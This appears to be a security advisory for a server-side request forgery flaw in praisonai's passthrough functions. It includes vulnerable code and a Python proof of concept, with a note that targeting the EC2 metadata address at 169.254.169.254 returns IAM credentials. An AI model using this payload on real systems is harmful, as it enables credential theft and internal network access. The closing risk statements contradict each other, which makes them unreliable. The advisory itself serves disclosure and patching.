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GHSA-x6m9-gxvr-7jpv
No affected components available
Summary
passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.
Details
passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink)
# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):
# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
url = f"{api_base or 'https://api.openai.com'}{endpoint}"
# sink -- no validation before request
response = client.request(method, url=url, ...)
PoC
# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route
from praisonai.capabilities.passthrough import passthrough
result = passthrough(
endpoint="/ssrf-test",
api_base="http://127.0.0.1:8888",
method="GET",
custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials
Impact
On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with AUTH_ENABLED = False by default, making this reachable over the network without credentials.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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